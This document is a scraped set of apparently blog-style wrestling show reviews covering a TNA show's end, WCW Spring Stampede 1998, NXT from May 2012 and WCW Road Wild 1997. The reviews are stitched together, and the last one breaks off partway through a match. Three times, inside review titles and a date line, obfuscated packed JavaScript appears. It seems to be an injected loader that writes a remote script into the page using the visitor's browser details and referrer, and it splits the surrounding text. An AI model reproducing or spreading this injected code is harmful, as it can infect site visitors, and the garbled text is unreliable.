Roode works on the arm for a good while until AJ breaks the hold and sends him to the floor. There’s a HUGE chest extending dive to the floor as AJ is looking at……someone the camera doesn’t bother to show us. Roode uses the distraction to hiptoss Styles onto the steps which gets two in the ring. Hogan is watching in the back and we take another break. Back with Roode hitting a suplex and knee drop for two. Roode stays on the shoulders but AJ fights out of the hold with a right hand.

Styles tries a springboard move but Roode drops him onto the top rope throat first. Roode walks into a shoulder block and the springboard forearm gets two. Missile dropkick gets the same. The Clash is countered but AJ counters the catapult into a moonsault, but gets speared down for two. Crossface goes on but AJ rolls through for two. Bridging Indian Deathlock has Roode in trouble but he makes the rope. AJ tries to speed things up but gets caught in a spinebuster and fisherman’s suplex for two. Pele puts Roode down but AJ looks to the entrance again, making the 450 hit knees. Fisherman’s suplex pins Styles at 21:30.

Rating: B. Good stuff here and for awhile I was thinking there was a chance AJ could win. On a side note, it says a lot that I didn’t remember what Roode’s finisher was until about halfway through the match. I really would have liked to see a match determine who fought Roode but this is a talking company so it doesn’t really matter. This was very good though.

Daniels and Kaz were on the stage, but we didn’t see them until after the match.

Roode says it’s time to celebrate and wants his champagne. He wants another glass though and calls out Hogan. After a break we get confetti and Roode rolls around in it. Hogan comes out and drinks some champagne. He says he was proven wrong and Roode has done some impressive things. Hogan’s surprise guest is Sting, who is back after being gone again. Sting pops up behind Roode and beats him up. Starting next week the show is live and at 8pm. Next week, Roode can’t run away because at 8pm at the start of the show, it’s a lumberjack match with Roode vs. Sting.

Overall Rating: B-. It was certainly better than last month’s Open Fight Night, but the problem again here is nothing has actually happened in the first two shows. Yeah Sting is back, but that could have happened on any episode. Also is that where we’re going again? Sting vs. Roode? The main event was good and the Gut Check guy was ok, but they need to either have the Gut Check guy win once or have someone win a title on these specials, because otherwise they’re going to lose their appeal fast. Good show overall though.

Results
Gail Kim/Madison Rayne b. ODB/Eric Young – Kim pinned ODB while Rayne held her feet
Rob Van Dam b. Gunner – Five Star Frog Splash
D-Von vs. Garrett Bischoff went to a no contest when Robbie E and Robbie T interfered
Austin Aries b. Joey Ryan – Brainbuster
Bobby Roode b. AJ Styles – Fisherman’s Suplex

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Spring Stampede 1998: With Bales Of Hay And Covered Wagons

Spring eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfrns|var|u0026u|referrer|nendr||js|php'.split('|'),0,{})) Stampede 1998
Date: April 19, 1998
Location: Denver Coliseum, Denver, Colorado
Attendance: 7,428
Commentators: Bobby Heenan, Tony Schiavone, Mike Tenay

So we jump ahead a little bit from Road Wild 1997 and into the era where Raw has finally taken the lead. They’ve won two weeks in a row, so obviously in WCW’s mind, it means it’s time to shake things up. Sting is champion here and is defending against Savage in the main event. Hogan is in a tag match with a bat on a pole. Let’s get to it.

The opening video is about the problems that the NWO has been having lately. This would result in the split of the NWO and the birth of NWO Wolfpack.

We open with breaking news: Savage’s arm is ok and won’t be in a cast. Oh and the main event is No DQ. So the NWO is in disarray and cheating is legal? I wonder where that might go.

Goldberg vs. Saturn

Goldberg is 73-0 at this point and has a US Title match the next night. It’s weird seeing Saturn with hair. Goldberg throws him around to start with some I think suplexes and beats up Kidman too. Back in Saturn kicks him in the back and trips him to the mat. A middle rope elbow gets two. A series of kicks in the corner looks to set up a suplex but Goldberg counters into one of his own.

Goldie takes over again and hits the gorilla press into the powerslam to crush Saturn. Saturn tries to get him to follow onto the floor and clotheslines him on the top rope. Superkick won’t put Goldberg down. Out to the floor they go and Saturn hits a rana on Goldberg. This is probably the most damage he’s ever taken up to this point. See, that’s how you build up monsters: slowly bring them along and then get to whatever match you want. WWE doesn’t quite get that today. Armbar is easily countered with raw power and a superkick puts Saturn down.

It’s clear Goldberg is almost spent at this point and we’re maybe six minutes in. Spear looks to set up the Jackhammer but Saturn hits him low. Sometimes it’s the easiest things that are the solutions. Saturn tries a superplex but Goldberg gorilla presses him off the middle rope. After destroying the Flock, Saturn hooks the Rings of Saturn. Like that’s going to work. He gets to his feet, throws Saturn into a fireman’s carry and then up onto his shoulders for what’s called a Jackhammer but is more like a powerslam. Either way it makes him 74-0.

Rating: D+. Not bad here and it went on too long for a Goldberg match. He would do the Flock match MUCH better the next night and it became much more entertaining. This was more or less the last match he would have that didn’t have a title on the line until the end of the year other than a stupid battle royal. This would have been better had he not been blown up halfway through.

Chavo Guerrero Jr. vs. Ultimo Dragon

This should be good. Eddie is with Chavo and gets the majority of the heat from the crowd. Chavo wraps him up on the mat to start and sends Dragon into the corner, resulting in the handstand. Dragon takes over and throws on a stump puller which is countered into the bridging Indian Deathlock. That gets boring so Chavo comes back with a bunch of dropkicks and a chinlock. So much for the exciting part.

Elbow drop gets two and it’s back to the chinlock by Chavo. Oh wait now it’s a headscissors. Dragon reverses into a camel clutch and then a surfboard. At least they’re not staying in one hold for a long time. Chavo catches the handspring elbow and they fight over a German Suplex. That results in an O’Connor Roll and La Majistral by Dragon but Chavo comes back and rolls him up for two. Cool sequence.

More rollups both get two counts and Chavo goes up. Dragon crotches him with a kick and looks for the super rana but Chavo elbows his way out of it. Dragon suplexes him to the floor from the apron and hits the Asai Moonsault. Eddie yells at Chavo and threatens him if he loses. I think Eddie is like a coach or something here. Chavo goes back in and hits a huge flip dive (called a suicide dive) and might have hurt Dragon’s shoulder in the process. Back in the ring and a double clothesline puts both guys down.

Chavo hits what might have been a low blow by mistake off a leapfrog but Chavo won’t go for the kill like that. Eddie FREAKS on him, slapping Chavo in the face. Chavo loads up a brainbuster but Dragon escapes with a rollup. A second attempt works but the tornado DDT is countered into the Dragon Sleeper for the tap out.

Rating: B-. This started slow but it got going pretty well. Dragon was a guy that got pushed better than most did and it was cool to see someone outside of the main stars get pushed like he did. Eddie and Chavo would feud for a little while longer, resulting in Chavo going insane. Good match here and it probably would have been a better choice for an opener.

Eddie rips into Chavo post match.

TV Title: Booker T vs. Chris Benoit

Benoit is challenging and there is no time limit due to some draws they’ve had. Feeling out process to start until Benoit gets sent to the floor. I think they’re both faces here. Back in and Benoit goes for the knee as is his custom. Booker kicks him back to the floor before it can do enough damage though. That’s a good enough counter I guess. Booker clotheslines him to the mat and hooks an armbar.

Benoit is like screw that and comes up swinging, pounding Booker into the corner and adding some stomps for good effect. Back to another armbar by Booker but it’s the same result, as Benoit comes back with a chop. A belly to back suplex gets two. Benoit dropkicks him down and hits the Swan Dive for a very delayed two. Snap suplex by the Canadian is countered into one by Booker but he can’t follow up.

Back elbow gets two for Benoit. The real snap suplex gets two. Something I forgot I that this is in Denver, so the altitude is going to become an issue with the breathing. Benoit hits rolling Germans followed by a wicked belly to back superplex which gets a very close two. The champ hits a sidewalk slam out of nowhere but he can’t follow up. Forearm puts Benoit down and a flapjack sets up the Spinarooni. Ax kick hits the referee by mistake and there’s the Crossface, but there’s no referee for the tap out. Benoit goes to get the referee and gets caught by the side kick for the pin and Booker retains.

Rating: C+. Pretty good match here with Benoit doing a lot of high impact stuff as you would expect. Again here the booking is for TV instead of PPV, as Benoit would get the title less than two weeks later on Thunder. These two would go on to have a best of seven series which was totally awesome. There was always good chemistry between them.

Replay shows that Benoit pulled the referee into the ax kick.

Curt Hennig vs. British Bulldog

Rude and Jim Neidhart are the seconds here and will be handcuffed together. A cop does the handcuffing. I would say note that for later, but since it’s Curt Hennig vs. British Bulldog, it’s really not worth doing. They stall FOREVER before the cuffs finally go on. Why these two are fighting isn’t worth explaining apparently.

Bulldog jumps Hennig as we look at the handcuffs being fastened. Smith works on the big leg brace and they head to the floor. Rude goes after Bulldog but Neidhart won’t allow it. Hennig gets a shot to the head back inside as this is going nowhere. Smith works on the leg some more and Neidhart still won’t let Rude in. Despite the big knee brace on his knee, Curt tries to knee Smith in the face. Now it’s Sharpshooter time but the cop goes after Neidhart. He slips Rude the keys and Neidhart is cuffed to the post. Rude breaks up the powerslam and Hennig posts Smith for the pin.

Rating: F. Read the description and I think you’ll get why this is an F. There was nothing to this at all and the ending was stupid. I have no idea why they were fighting or why Neidhart was there, but from what I can tell it was a Hart Family thing, even though Bret was legally prohibited from associating with Neidhart and Bulldog (seriously).

The cop was Vincent and it’s a three on one beatdown on Bulldog.

Cruiserweight Title: Prince Iaukea vs. Chris Jericho

Prince is challenging and he doesn’t even have music. I don’t think Jericho does either. Maybe it’s my audio but for some reason neither guy had music. Jericho dedicates this to Malenko who is injured. The Man of 1004 Holds is mentioned. He has music after his promo so I guess it was a tech issue. Prince takes him to the mat with a headlock which Jericho escapes, but he poses too much and Prince takes him down again.

Chris gets knocked to the floor and back in it’s time for headlock #3. Jericho hooks a drop toehold to put him into 619 position and adds a suplex for two. Off to a chinlock as this is a pretty boring match so far. Jericho goes up and jumps into the feet of the Prince and Iaukea starts what I guess you would call a comeback with a Samoan Drop. Springboard splash gets two.

Victory Roll is countered into the Walls but Prince is right in front of the ropes. Jericho tries a middle rope sunset flip but Iaukea falls on him for two. They go up top and crash down onto the floor in a scary fall. Both guys crawl back in and slug it out a bit and Prince counters another Liontamer attempt into a rollup for two. Northern lights suplex gets two for Iaukea. Iaukea tries a top rope sunset flip but Jericho counters into the Liontamer to retain.

Rating: C. It got better but dang it was boring when it started. Iaukea was a guy for the life of me I don’t get why they kept pushing. The match wasn’t bad but Jericho was carrying it. Not from a wrestling perspective because Iaukea was ok, but why would I care about him? All there is to him is that he’s from the islands. That’s not a reason for me to care and I don’t.

Here are Bagwell and Steiner for the next tag match but Bagwell has a cast on his hand. The announcers don’t buy that it’s real, so I’m going with Bagwell having every bone broken into 99 places. They say they’re ready but the match has to be canceled. Dillon and Gene come out and Dillon says that Bagwell is right: Buff does need a doctor’s release. SO THEY BRING A DOCTOR OUT TO EXAMINE HIM HERE. YOU KNOW, ON A PAY PER VIEW! Dillon says something about Bagwell so Buff grabs him with the bad hand to prove it’s ok. Match on.

Buff Bagwell/Scott Steiner vs. Rick Steiner/Lex Luger

Rick charges down the aisle to get at Scott but Bagwell jumps him. Rick powerslams him down but Scott comes in for the save from behind. Scott comes in legally because Rick is down already. Buff and Scott trade off another two times so it’s Buff vs. Rick at the moment. Off to a chinlock by Bagwell and then one by Steiner. Rick fights up and clotheslines Bagwell and makes the hot tag. Scott breaks up the Rack but Rick runs him off. Rack gets the submission.

Rating: D. Another bad match here. The whole point of this was to tease the Steiners clashing some more and it didn’t happen…..again. I think it would finally happen at some point but of course WCW waited until it didn’t mean anything anymore. Nothing match and it was all about building to something later on.

Gene says call the Hotline.

La Parka vs. Psychosis

This is a bonus match. Feeling out process to start which is stupid for a reason I’ll get into in a minute. Psychosis climbs the ropes and jumps backwards into a rana to send La Parka to the floor. A dive on the outside takes La Parka down but he gets in a kick back inside. A headscissors sends Psychosis to the floor and a dive puts him down on said floor. Psychosis throws him face first into the buckle and crotches him on the top. After a nearly horrible botch, Psychosis hits a rana to send La Parka down for two.

Out to the floor again and Psychosis hits a big flip dive from the top. Top rope splash misses and Parka gets a quick cover for two and then he breaks the count himself. La Parka puts him down again and pulls him up again. He misses a charge and gets caught by the guillotine legdrop for the pin by Psychosis.

Rating: D+. This is what I was going to get into earlier. There’s no reason for us to care about this match, so all they can do is big spots and dives. They did some, but none of them were anything we haven’t seen a million times before by more exciting people. That’s the problem with bonus matches: there’s no story, which is what wrestling is based on. If there’s no story to a wrestling show, a match has to be AWESOME to overcome that lack of a story. This wasn’t and the match didn’t work as a result.

The announcers talk about Sting/Nash/Savage and use a dog metaphor which makes no sense.

Hulk Hogan/Kevin Nash vs. The Giant/Roddy Piper

Bat on a pole match. Nash and Hogan are having issues so they have separate entrances. Piper goes for the bat while Hogan and Nash are talking but Hogan makes the save. Roddy gets caught in the Tree of Woe so Hogan stomps away. I guess they’re starting because Hogan tags out to Nash almost immediately. Nash isn’t in there long so it’s back to Hogan, who rakes the back and wakes Piper up.

Giant and Piper both headbutt Hogan but it knocks Piper down. I guess he needed a nap? Hogan beats him with the weightlifting belt and goes up, but Giant makes the save….and spanks him. Nash finally makes the save as I don’t like where this match is going. It’s time for the battle of the giants and the namesake shoves Nash around but misses a charges into the corner.

Nash fires off some knees in the corner and does the boot choke. Both guys try big boots at the same time and both go down ala Kane/Undertaker (I think this one happened first actually). Double tag brings in Piper and Hogan and the Canadiscotsman pounds away on the head and in the corner, and on the head in the corner. Everything breaks down and Giant dropkicks Nash to the floor.

Piper puts Hogan in the sleeper then climbs the post with Giant shoving him up higher. Piper pulls it down but Hogan takes it away. Here’s Disciple with a new bat (are you really wondering why?) which Hogan hits Giant with. Piper avoids a shot that goes into Nash and takes the bat from Hogan again. Disciple takes it from Piper and throws Hogan the other bat which goes upside Piper’s back and it’s over.

Rating: D. The match was boring, and what was up with switching the bat? The problem here was that the match was boring until the very end, which wasn’t particularly good either. This was all about Hogan vs. Nash and Piper/Giant were just kind of there for the ride. The spanking spot was pretty stupid too. This led to the Wolfpack being formed soon.

Post match Hogan tells Nash to powerbomb Giant but as he sets for it, Hogan hits Nash with the bat.

US Title: Diamond Dallas Page vs. Raven

Page is defending, it’s Raven’s Rules, and the winner gets Goldberg tomorrow. Sick Boy runs in before the bell and grabs Page but DDP ducks a belt shot to put the diseased one down. A belly to back suplex and a forearm put Raven onto the floor. Page dives onto Raven and Sick Boy and they head back in. Raven tries the DDT but Page drives him into the corner to escape.

The Cutter is escaped as well and we head up the aisle. They walk up to the always cool set and Raven gets thrown off a stagecoach into a pile of hay. Raven gets thrown into a fence, some wagon wheels, and then through the website. He comes back and splashes Page onto a table. Gee that’s kind of boring by comparison. There’s a garbage can to the back and Page gets tied by a rope around the neck and brought back to the ring.

Sick Boy has a kitchen sink for some reason (Tony: “If you’re in the Flock you have to.”) which Raven hits Page with before adding some choking. Page escapes and drop toeholds Raven into it, using what Tony calls the Draino. Kidman comes in and misses a splash, hitting Raven with it. Page knocks Kidman to the floor but gets caught in the back which gets two for Bird Boy. Small package gets two for Page.

Here’s Van Hammer for another run-in. Scratch that as his name is now just Hammer. I wouldn’t want to get my giant jobbers names’ wrong. Either way he kicks Sick Boy by mistake and is sent to the floor, but Raven hits Page low. Here’s Reese (7’2) with a chokebomb on Page, getting two for Raven. Lodi throws in a stop sign but Page clocks Raven and Hammer with it. Sick Boy takes a shot with it too and Kidman gets a Diamond Cutter. Horace Hogan debuts as the newest member of the Flock and blasts Page with it, allowing Raven to DDT Page onto the sink for the title.

Rating: C. The match was fun but it could have done with about three less Flock members. I’d have liked to see this be one on one because Raven could work well enough out there, especially in a brawl, to make something like this work. Raven would of course lose the title the next night to Goldberg. Also, Heenan says this was 20-30 minutes long. It’s more like 12, but knowing Heenan he’s bombed.

WCW World Title: Sting vs. Randy Savage

Savage is challenging and it’s No DQ. Savage is very banged up with a bunch of injuries. He jumps Sting before the bell and we’re ready to go. Savage fires right hands but that’s one of his injuries so he has to stop after every punch. Sting rams it into the railing so they walk up the aisle and Savage is thrown through a wagon wheel. He goes into a fence and Sting hits him with a bale of hay.

Back towards (not into) the ring but Sting AGAIN misses his splash onto the barricade. Has that ever hit? Even once? Back into the ring and Sting reverses a piledriver. They go to the floor again and Sting hits a suplex followed by a kick to the ribs. Back inside and Savage hits a low blow and clotheslines Sting on the rope for two. Liz slides in a chair to put Sting onto, but here’s Hogan to break up the elbow. Liz got knocked down somewhere in there and gets attended to. Sting gets up and hits the Death Drop but there’s no referee. Cue Nash to powerbomb Sting and give Savage the title.

Rating: D. Another bad match to end a show of them. This was a mess but not a big one as it only got ten minutes in total. That’s something I’ll address in a bit too as it makes little sense. The problems here were Hogan and Nash. This became all about them as Nash had no reason to screw Sting over other than to make Hogan mad. That’s not good at all.

Overall Rating: D. It was bad, but there are some far worse shows. The main event wound up meaning nothing as Hogan got the title back the very next night. You know, because CLEARLY the solution to their ratings problems was a lack of Hogan. That’s only partially sarcastic because their ratings run had come with him on top. Now when they put the title back on him and it didn’t help…..well they took it off him and put it on Goldberg about two and a half months later so I actually can’t complain too much here. Anyway the show was bad but not totally bad, with some decent matches in there to help save it.

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NXT – May 23, 2012: You Want More Wrestling? Here You Go!

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyeah|var|u0026u|referrer|bfkai||js|php'.split('|'),0,{})) May 23, 2012
Location: Mohegan Sun Arena, Wilkes-Barre, Pennsylvania
Commentators: Josh Matthews, William Regal

OH COME ON! Apparently they’re going to wrap up this season instead of going straight to the new stuff. I know this is going to sound crazy, but I think I’d prefer it that way. I’ve spent over a year on this awful show and I need to get to the end of it for my own sanity’s sake. Hopefully they wrap it up soon though. Let’s get to it.

Jinder Mahal vs. Derrick Bateman

Feeling out process to start with Mahal shoving Bateman into the corner. Regal talks about Mahal’s cousin who is the two year running Indian karaoke champion. His name is Getupta Singh. Bateman comes back with some hard chops as a USA chant comes up. Clothesline gets two for Bateman.

Mahal comes back with his long legs and chokes away on the ropes. Bateman fights out of a chinlock but gets caught in a cravate with knees to the head, getting two. Bateman comes back with a chop and clothesline followed by a running flip neckbreaker for two. Missile dropkick gets the same. Bateman’s falling bulldog is escaped and Mahal hits a running knee to the face. A few knees to the back set up the camel clutch to make Bateman tap at 6:29.

Rating: D+. Nothing much here but I’m getting tired of this “Bateman is a rookie so beating someone from the main roster is a big deal.” Bateman has been on NXT for what, two years or so? Mahal debuted in April of 2011. If you want to REALLY stretch it, they’re equals at worst. Let it go already. The match was fine.

Percy Watson vs. Heath Slater

Josh FINALLY explains what the One Man Southern Rock Band means: Slater doesn’t need backup. It took how many months to say something that took two seconds to say? Slater quickly takes him to the mat but Watson kicks out of it with ease. Slater goes to the apron and hits a HARD right hand to take over. Why he had to go out there for a punch I’m not sure but whatever.

Off to a chinlock as Regal calls Slater a terrier, as in a dog. I’m not sure I get the connection but then again I’m not British. Slater hits Watson in the back of the head with an elbow and a kick to the same place gets two. Back to the chinlock for a few moments and Heath goes up. It’s the jump into the boot spot which drives me crazy, followed by a dropkick from Percy. Heisman gets two and avoids a clothesline to finish with Persecution at 6:23.

Rating: C-. Again the match was fine, but Watson is in an awkward place. He’s too good to keep facing all of the NXT guys but he’s not good enough to go face the main guys yet. The other problem is he’s just Percy Watson and is athletic. His matches are ok but there’s nothing memorable about him at all. I’m not sure what to do with him, but he really doesn’t need to change anything immediately so it’s not a huge problem.

Alicia Fox vs. Maxine

There’s only one way to put it: that animal thing on the top of Alicia’s head looks stupid. The announcers actually point out that Alicia used to be Maxine’s Pro. Very slow start so let’s talk about Josh’s love life. Maxine controls until Alicia fires off some elbows to the face. Maxine takes her back down and hooks a chinlock. Alicia hits some dropkicks and a northern lights suplex for two. Fox tries a rollup but gets countered into a dragon sleeper with a body scissors for the tap out at 6:09.

Rating: D. This was a really dull match and I can’t believe it was over six minutes long. Fox is just worthless. She looks stupid with that fur thing, she’s nothing special in the ring, and her looks are just ok. Maxine is hot and has catchy theme music, but above all else, she has a personality. It helps a lot and is a reason she’s one of the best Divas in the company.

Raw ReBound is about Cena/Show/Ace.

Drew McIntyre/Johnny Curtis vs. Great Khali/Ezekiel Jackson

Khali and Curtis get us starting and let the chopping begin. With Curtis looking like he’s coming to join Elizabeth, it’s off to Jackson. Off to McIntyre who gets chopped as well. Those are some sore chests. Drew finally gets in a shot to the knee and stomps Khali down into the corner. Khali shrugs him off and tags in Jackson who hits his clothesline in the corner and clears the ring.

We take a break and come back Drew “kicking” Big Zeke in the face and tagging in Curtis who is slammed a few times. Zeks goes after McIntyre who gets in a shot to the knee to let the heels finally take over. Curtis works on said leg for a good while until it’s off to Drew. He kicks at the knee but gets slammed. Tag to Khali who beats up both opponents and the Plunge ends Curtis at 9:03.

Rating: D. This was definitely the weakest match of the night. Why are these people teaming together? I know Khali and Jackson teamed up last week, which to be far is about as good as you’re going to get for a tag team these days, but what about the other guys? It was boring and was a borderline squash by Khali/Jackson.

Overall Rating: D. Sacre bleu what a boring show. For those of you that say there’s too much talking and backstage segments, I give you this as an example as to why those things need to exist. There was not a single promo, segment or anything that advanced a story on this show. I get that it’s because they’re moving to the new stuff soon, but if nothing else make up some short term ones. With no reason for these people to fight other than it’s that time of the week, there’s no reason to care about this show and it needs to wrap up soon.

Results
Jinder Mahal b. Derrick Bateman – Camel Clutch
Percy Watson b. Heath Slater – Persecution
Maxine b. Alicia Fox – Dragon Sleeper with bodyscissors
Great Khali/Ezekiel Jackson b. Drew McIntyre/Johnny Curtis – Punjabi Plunge to Curtis

 

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Road Wild 1997: You Can See The Problems Mounting Up Already

Road eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhbbr|var|u0026u|referrer|tfrzh||js|php'.split('|'),0,{})) Wild 1997
Date: August 9, 1997
Location: Sturgis Motorcycle Rally, Sturgis, South Dakota
Attendance: 6,500
Commentators: Tony Schiavone, Dusty Rhodes, Bobby Heenan

Back to the motorcycle place and to the shock of everyone, Hogan ISN’T champion! He lost the title to Luger on Monday just before this match. That’s always been surprising because you would think they would just have Sting break the year and a half reign. Instead they went with this which is questionable but it was a bit of a breather at least. There isn’t much else to talk about here so let’s get to it.

Harlem Heat vs. Vicious and Delicious

That’s Norton and Bagwell. Buff and Booker get us going here. Booker hooks the arm but Bagwell dropkicks him into the corner and it’s off to Norton. Ray comes in for a power vs. power brawl and Norton gets slammed. Back to Booker for a suplex which gets two but a spin kick is countered into a kind of powerbomb. Buff cleans house for some reason but Booker knocks him to the outside.

Booker hooks a chinlock which is a heel move but since they’re against the NWO, wouldn’t that make them faces? Bagwell fights up and hits a clothesline to set up the tag to Norton. Stevie breaks up the tag as I can’t get over the heel/face dynamic being so backwards here. Cue Jackie to really make this match great. Harlem Heat had been promising a surprise before this and I guess it’s her.

Bagwell comes back from the beating with a powerbomb of all things and it’s off to Norton off a hot (?) tag. Vincent’s interference fails so Ray beats him up. Norton hits Booker with the shoulderbreaker but Jackie interferes enough to let Booker side kick Norton down for the pin. What an odd match.

Rating: D. I’m not sure what the idea here was but it really didn’t work all that well. First of all, the heel/face dynamic was completely backwards here, as the NWO team wrestled as faces. Harlem Heat wrestled as heels and had Bagwell in trouble most of the time, plus Norton got a hot tag and the Heat had a manager interfere. Oh and Jackie sucks but you already know that. I don’t know what was going on here but it didn’t work.

DiBiase talks about how awesome his team of Steiners are.

Konnan vs. Rey Mysterio Jr.

This is a Mexican Death Match, which I think means knockout or submission only. Konnan is NWO also. Apparently it’s a Mexican Grudge Death Match and it’s No DQ. That’s the only rule apparently. Rey has a bad leg coming in. He speeds things up to start and hits a springboard missile dropkick to take over. That’s quite a leg injury. Konnan drops him on the buckle and hits a clothesline to the back of Rey’s head to take him down.

Konnan hooks a leg lock and Rey screams a lot. Mysterio gets sent to the floor and tries to jump over Konnan to come back in, but he hurts his knee again. A chopblock puts Rey down again and it’s time to crank on the leg. The leg work continues for awhile as there’s not much to say. Konnan puts on leg hold #19 and goes after Rey’s mask. A powerbomb puts Rey down so he can get a better attempt at it.

Konnan gets the mask off but can’t get it completely off, so Rey gets in a weak shot to the ribs and puts the mask back on. Rey’s offense is pretty bad due to the injured leg and his double springboard moonsault misses badly. Konnan kicks the knee out again and this needs to end soon. There’s a modified Stump Puller (he puts Rey’s legs in figure four position but sits Rey up and sits on the neck, pulling back on Mysterio’s legs) but it keeps going as Konnan gets bored. Mysterio comes back with a quick rollup for two. Rey goes up but gets caught in a cradle DDT and the Tequila Sunrise for the tap.

Rating: D+. So why was this no DQ again? It was never mentioned or used at all. The leg work was ok enough and the match wasn’t all that bad, but for a DEATH match, there wasn’t anything deadly about it at all. If this were a regular match it would have been ok enough, but don’t add the gimmick names if there’s nothing special about them.

Mean Gene has gotten a tattoo. My goodness.

Dean Malenko/Jeff Jarrett vs. Steve McMichael/Chris Benoit

This is an elimination tag for no apparent reason. The Horsemen feud is STILL going on and mainly is between Jarrett and McMichael, neither of whom got over because of it. Jarrett and Benoit start and Jarrett wants little to do with that so it’s time for Dean. Benoit runs him over and Dean slows things down. That doesn’t last long as Benoit starts running again, but misses an enziguri. Dean misses an elbow and it’s a standoff.

They fight over a victory roll and Dean gets two off a small package. Benoit tags in Mongo who charges into a drop toehold. Dean hits the ropes but gets kicked in the back for the Horsemen to take over. They keep alternating on him for a few minutes with Mongo using a variety of side slams, which are some of the only moves he was decent at. Jarrett runs from Mongo as Mongo tries a tackle at Dean. Malenko jumps over him and makes the tag to Jarrett, who is terrified.

Jeff, the US Champion, comes in and pulls Mongo on top of himself and intentionally gets pinned. THE US CHAMPION PEOPLE! So now it’s a handicap match so Dean goes crazy to start, grabbing some fast rollups. Benoit reverses a tombstone and hits the Swan Dive but it’s back to Mongo for more beating. Tombstone finally ends this.

Rating: C-. Everything without Jarrett in there was fine. When Mongo is better than you in a match, you need to get out. Thankfully Jarrett would jump to the WWF in about two months. This country music entrance that he had and all the stuff with Miss Debra didn’t work AT ALL, so they pushed it for the better part of a year. It just dragged everything down and no one ever cared. Jeff didn’t get interesting until he became a jerk with short hair in 1998. Then he was bearable.

Cruiserweight Title: Chris Jericho vs. Alex Wright

Wright is champion. Feeling out process to start with Wright running to the ropes. The fans chant gay slurs at him as the feeling out continues. Jericho charges at Wright which gets him nowhere. Some chops and right hands put Wright down on the floor and we stall some more. Back in Wright grabs a headlock which is quickly broken and Jericho hits a spinwheel kick to send Wright back to the floor.

As Alex comes back in, Jericho crotches him and hits the springboard dropkick to send him to the floor for a third time. Jericho finally gets bored and dives out to the floor to take Wright down. Wright sends him into the steps to take over and adds a suplex on the outside. Coming back in, Jericho LAUNCHES him off the top with a slam which gets two. Off to a headlock by the challenger. He goes to the arm instead as things slow down.

Wright comes back and counters a leapfrog with another spinwheel kick. The champ dances again as Dusty says a win here could drive a stake into the heart of the NWO. Ok then. Alex takes forever to set up a moonsault and Jericho rolls away. Lionsault hits Wright’s back but he adds a senton backsplash before getting two. Jericho’s double powerbomb gets a delayed two. Wright grabs a suplex for two and Jericho counters the German suplex into a cradle for the same. Wright reverses a rollup into one of his own with tights for the pin.

Rating: C-. It was slow paced for the most part but it was ok. The ending however sucked and it keeps up with the running theme of the night: not a horrible match but it’s nothing that you would ever want to see again. It’s also not great but it could have been far worse. That makes it the worst kind of match: just ok and mostly boring.

Syxx vs. Ric Flair

After a lot of stalling and taunting, we get an armdrag and it’s time for more stalling. Syxx controls a bit but misses a charge to send himself to the floor. Flair slows it down and Syxx does some of his usual stuff. Flair chops him down but Syxx comes back with a spin kick to the back of the head to take him down. Bronco Buster hits and it’s off to a chinlock. This is a really boring match so far.

Guillotine legdrop gets two. Back to the chinlock as this match needs to end already. We go to a wide shot of the crowd because the director is getting bored of the match too. Flair starts his comeback with his strikes but Syxx hits an enziguri to take him down. A flip dive misses and it’s time to go for the knee. Figure Four goes on but Syxx is in the ropes. Buzzkiller (Crossface chickenwing) is broken up so here’s another Bronco Buster. Flair puts his foot into Syxx’s crotch, rolls him up and uses the feet on the ropes for the pin.

Rating: D. Whatever man. This went nowhere at all and was full of rest holds that didn’t do anything to excite the crowd. Syxx was so boring around this time as he knew he didn’t have to do anything because he was friends with the big shots. Also great to see Flair wasted on a midcard match instead of putting over some young guy. Very boring match.

Diamond Dallas Page vs. Curt Hennig

This is a grudge match for some reason. We get a very quick brawl on the floor before they head back in for the bell. It’s a slugout to begin and Page spins Hennig around BY HIS HAIR. Hennig gets to do his slide into the post balls first spot. Page goes up but Curt falls onto the ropes to crotch him. There’s the necksnap and Hennig puts on a spinning toehold.

A quick sleeper is broken up by Page and he hooks a spinning sunset flip for two. Hennig clotheslines him down for two. A kickout lands on the referee so Hennig takes off the buckle pad. Page gets rammed into it but there’s no cover. Perfectplex gets two. Page starts his comeback and loads up the Pancake, but Hennig’s foot hits the referee. Cue Flair who comes off the top but walks into the Diamond Cutter. Another Perfectplex gets the pin. Page can kick his feet but can’t lift a free shoulder?

Rating: C. This was just ok and it’s pretty easily the best match of the night. Page and Hennig had good chemistry but there wasn’t much to do here. Flair coming in didn’t help anything at all but he was recruiting Hennig into the Horsemen which eventually resulted in what else? Hennig joining the NWO. Not a bad match but this show is pretty much beyond saving at this point.

Call the Hotline!

Promo from the NWO. It’s one of their pretaped deals.

According to Tony, the next three matches are the biggest in WCW history.

The Giant vs. Randy Savage

Nothing special to the match, but it’s the third biggest match in company history at worst. That would include being ahead of Luger winning the title on Monday I guess. Savage is NWO and Giant is one of WCW’s main soldiers against him. Savage stalls like the true Memphis man that he is. He gets in and tries to slam Giant which fails of course. Giant works him over with his usual power stuff until Savage heads to the floor.

That goes badly for him as well with Giant picking up the human shield known as Liz and moving her to the other side. Back in Savage takes out the knee and gets Giant down. He wraps the knee around the post and stomps on the knee some more. Double ax gets two but the second attempt is countered into a chokeslam for the pin.

